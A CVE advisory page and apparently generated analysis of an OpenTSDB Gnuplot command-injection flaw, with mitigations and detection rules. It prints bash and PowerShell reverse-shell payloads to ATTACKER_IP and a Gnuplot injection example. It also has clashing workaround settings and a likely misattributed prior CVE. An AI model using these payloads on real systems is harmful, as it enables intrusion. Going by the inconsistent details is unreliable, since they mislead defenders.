CVE-2023-36812
CVE-2023-36812
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
OpenTSDB is a open source, distributed, scalable Time Series Database (TSDB). OpenTSDB is vulnerable to Remote Code Execution vulnerability by writing user-controlled input to Gnuplot configuration file and running Gnuplot with the generated configuration. This issue has been patched in commit `07c4641471c` and further refined in commit `fa88d3e4b`. These patches are available in the `2.4.2` release. Users are advised to upgrade. User unable to upgrade may disable Gunuplot via the config option`tsd.core.enable_ui = true` and remove the shell files `mygnuplot.bat` and `mygnuplot.sh`.
Comprehensive Technical Analysis of CVE-2023-36812 (OpenTSDB Remote Code Execution Vulnerability)
1. Vulnerability Assessment and Severity Evaluation
CVE ID: CVE-2023-36812 CVSS Score: 9.8 (Critical) – AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Vulnerability Type: Unauthenticated Remote Code Execution (RCE) via Command Injection Affected Component: OpenTSDB’s Gnuplot integration for data visualization
Severity Breakdown:
- Attack Vector (AV:N): Exploitable remotely over a network without authentication.
- Attack Complexity (AC:L): Low complexity; no special conditions required.
- Privileges Required (PR:N): No privileges needed; unauthenticated exploitation.
- User Interaction (UI:N): No user interaction required.
- Scope (S:U): Impact confined to the vulnerable system (no lateral movement implied).
- Confidentiality (C:H), Integrity (I:H), Availability (A:H): Full compromise of all security objectives.
Justification for Critical Severity: The vulnerability allows unauthenticated attackers to execute arbitrary commands on the target system with the privileges of the OpenTSDB process. Given that OpenTSDB is often deployed in monitoring and observability stacks (e.g., alongside Hadoop, HBase, or Kubernetes), successful exploitation could lead to full system compromise, data exfiltration, or lateral movement within an enterprise network.
2. Potential Attack Vectors and Exploitation Methods
Root Cause Analysis:
OpenTSDB integrates Gnuplot for generating time-series visualizations. The vulnerability arises due to:
- Improper Input Sanitization: User-controlled input (e.g., via HTTP requests) is written directly into a Gnuplot configuration file (
mygnuplot.shormygnuplot.bat). - Command Injection via Gnuplot Scripts: Gnuplot scripts can execute shell commands via backticks (
`) orsystem()calls. An attacker can inject malicious payloads (e.g., reverse shells, arbitrary commands) into the generated script. - Unauthenticated Access: The vulnerability does not require authentication, making it exploitable by any remote attacker with network access to the OpenTSDB instance.
Exploitation Steps:
-
Identify Vulnerable Endpoint:
- The attack surface is likely exposed via OpenTSDB’s HTTP API (e.g.,
/api/put,/api/query, or/api/suggest). - The Gnuplot rendering endpoint (e.g.,
/q?start=...&m=...&o=...&yrange=[0:]&wxh=...&style=...) is a prime target.
- The attack surface is likely exposed via OpenTSDB’s HTTP API (e.g.,
-
Craft Malicious Payload:
- An attacker injects a command injection payload into a parameter (e.g.,
wxh,style, oryrange) that gets written to the Gnuplot script. - Example payload (Linux):
`bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'` - Example payload (Windows):
`powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"`
- An attacker injects a command injection payload into a parameter (e.g.,
-
Trigger Gnuplot Execution:
- The attacker forces OpenTSDB to generate and execute the malicious Gnuplot script, leading to arbitrary command execution on the host.
-
Post-Exploitation:
- Reverse Shell: Establish a persistent connection to the attacker’s machine.
- Data Exfiltration: Extract sensitive time-series data or credentials.
- Lateral Movement: Pivot to other systems in the network (e.g., HBase, Hadoop, or Kubernetes clusters).
Proof-of-Concept (PoC) Exploit:
A public PoC is available via Packet Storm Security, demonstrating unauthenticated RCE.
3. Affected Systems and Software Versions
Vulnerable Versions:
- OpenTSDB < 2.4.2 (all versions prior to the patch).
- Specifically, OpenTSDB 2.4.1 is confirmed vulnerable.
Affected Components:
- Gnuplot Integration: The vulnerability is tied to OpenTSDB’s use of Gnuplot for rendering graphs.
- Shell Scripts:
mygnuplot.sh(Linux) andmygnuplot.bat(Windows) are directly involved in the exploit chain.
Deployment Scenarios at Risk:
- Monitoring Stacks: OpenTSDB is commonly used in observability platforms (e.g., Grafana, Prometheus integrations).
- Big Data Environments: Deployments alongside Hadoop, HBase, or Kafka for time-series analytics.
- Cloud-Native Environments: Kubernetes clusters running OpenTSDB for metrics collection.
4. Recommended Mitigation Strategies
Primary Mitigation (Patch Management):
- Upgrade to OpenTSDB 2.4.2 or later (commits
07c4641471candfa88d3e4b).- The patch sanitizes Gnuplot script inputs and restricts command execution.
- GitHub Advisory: GHSA-76f7-9v52-v2fw
Workarounds (If Upgrade is Not Feasible):
-
Disable Gnuplot Integration:
- Set
tsd.core.enable_ui = falseinopentsdb.confto prevent Gnuplot script generation. - Note: This disables graph rendering but does not fully mitigate the risk if other attack vectors exist.
- Set
-
Remove Gnuplot Scripts:
- Delete
mygnuplot.sh(Linux) andmygnuplot.bat(Windows) from the OpenTSDB installation directory.
- Delete
-
Network-Level Protections:
- Restrict Access: Use firewalls to limit OpenTSDB API access to trusted IPs.
- WAF Rules: Deploy a Web Application Firewall (WAF) to block malicious payloads (e.g., regex for backticks or
system()calls).
-
Least Privilege Principle:
- Run OpenTSDB as a non-root user with minimal permissions.
- Use containerization (Docker, Kubernetes) with read-only filesystems where possible.
Detection and Monitoring:
- Log Analysis: Monitor OpenTSDB logs for unusual Gnuplot script generation or command execution attempts.
- Endpoint Detection & Response (EDR): Deploy EDR solutions to detect unexpected child processes (e.g.,
bash,powershell,nc). - Network Traffic Analysis: Look for outbound connections from OpenTSDB to unknown IPs (potential reverse shells).
5. Impact on the Cybersecurity Landscape
Exploitation Trends:
- Active Exploitation Likely: Given the CVSS 9.8 score and public PoC availability, this vulnerability is highly attractive to threat actors, including:
- Initial Access Brokers (IABs): For ransomware deployment.
- APT Groups: For espionage and data exfiltration.
- Cryptojacking Operators: For illicit cryptocurrency mining.
Broader Implications:
- Supply Chain Risks: OpenTSDB is often embedded in third-party monitoring tools, increasing the attack surface.
- Cloud and Hybrid Environments: Misconfigured OpenTSDB instances in Kubernetes or cloud deployments could lead to container escapes or cloud account takeovers.
- Compliance Violations: Exploitation could lead to GDPR, HIPAA, or PCI DSS violations if sensitive data is exposed.
Historical Context:
- OpenTSDB has had previous critical vulnerabilities (e.g., CVE-2020-35476, CVE-2021-41190), indicating persistent security gaps in its codebase.
- The Gnuplot integration has been a recurring attack vector, suggesting inadequate input validation in visualization components.
6. Technical Details for Security Professionals
Vulnerability Mechanics:
-
Gnuplot Script Generation:
- OpenTSDB dynamically generates Gnuplot scripts (
mygnuplot.sh/mygnuplot.bat) based on user input (e.g., graph parameters). - Example vulnerable code path:
// OpenTSDB's GnuplotHandler.java (prior to patch) String gnuplotScript = generateGnuplotScript(userInput); FileWriter writer = new FileWriter("mygnuplot.sh"); writer.write(gnuplotScript); writer.close(); Runtime.getRuntime().exec("sh mygnuplot.sh");
- OpenTSDB dynamically generates Gnuplot scripts (
-
Command Injection Vector:
- An attacker injects a payload like:
set terminal png set output "output.png" plot "`id > /tmp/pwned`" with lines - When executed, this runs
id > /tmp/pwnedon the host.
- An attacker injects a payload like:
-
Patch Analysis:
- Commit
07c4641471c: Adds input sanitization to prevent command injection. - Commit
fa88d3e4b: Further restricts Gnuplot script execution by validating allowed commands.
- Commit
Exploit Chaining Potential:
- Privilege Escalation: If OpenTSDB runs as
root, the attacker gains full system control. - Lateral Movement: OpenTSDB often integrates with HBase, Hadoop, or Kubernetes, allowing pivoting to other systems.
- Persistence: Attackers may modify OpenTSDB configurations to maintain access.
Forensic Indicators:
- Log Entries:
- Unusual
mygnuplot.shexecutions in/var/log/opentsdb/. - Failed Gnuplot script generations with suspicious characters (e.g., backticks,
;,|).
- Unusual
- File System Artifacts:
- Temporary files in
/tmp/or OpenTSDB’s working directory. - Unexpected
.shor.batfiles in the OpenTSDB installation path.
- Temporary files in
- Network Indicators:
- Outbound connections to C2 servers (e.g.,
ATTACKER_IP:4444). - Unusual HTTP requests to
/qwith malformed parameters.
- Outbound connections to C2 servers (e.g.,
Detection Rules (Sigma/YARA/Snort):
Sigma Rule (Windows):
title: OpenTSDB Gnuplot Command Injection Attempt
id: 12345678-1234-5678-1234-567812345678
status: experimental
description: Detects potential command injection in OpenTSDB Gnuplot scripts
references:
- https://github.com/OpenTSDB/opentsdb/security/advisories/GHSA-76f7-9v52-v2fw
author: Your Name
date: 2023/07/01
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\mygnuplot.bat'
CommandLine|contains:
- '`'
- 'system('
- 'bash -c'
- 'powershell'
condition: selection
falsepositives:
- Legitimate Gnuplot usage (unlikely in most environments)
level: critical
Snort Rule:
alert tcp any any -> $OPENTSDB_SERVER $HTTP_PORTS (msg:"OpenTSDB Gnuplot Command Injection Attempt"; flow:to_server,established; content:"/q?"; http_uri; content:"wxh="; http_uri; pcre:"/wxh=[^&]*[`;|&]/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)
Conclusion and Recommendations
Key Takeaways:
- CVE-2023-36812 is a critical RCE vulnerability with low attack complexity and high impact.
- Exploitation is trivial with a public PoC available, making immediate patching essential.
- Workarounds exist but are not foolproof; upgrading to OpenTSDB 2.4.2+ is the only complete fix.
Action Plan for Security Teams:
- Patch Immediately: Upgrade to OpenTSDB 2.4.2 or later.
- Isolate Vulnerable Instances: Restrict network access to OpenTSDB until patched.
- Monitor for Exploitation: Deploy EDR, WAF, and log analysis to detect attacks.
- Review Dependencies: Audit third-party tools using OpenTSDB for hidden vulnerabilities.
- Incident Response Preparedness: Develop a playbook for OpenTSDB compromises, including forensic analysis and containment steps.
Long-Term Recommendations:
- Code Audits: Conduct static and dynamic analysis of OpenTSDB’s Gnuplot integration.
- Zero Trust Architecture: Enforce least privilege and micro-segmentation for monitoring tools.
- Threat Intelligence: Monitor dark web forums for exploit development related to OpenTSDB.
This vulnerability underscores the criticality of secure coding practices in time-series databases and the need for proactive vulnerability management in observability stacks. Failure to patch could result in catastrophic breaches, particularly in cloud and enterprise environments.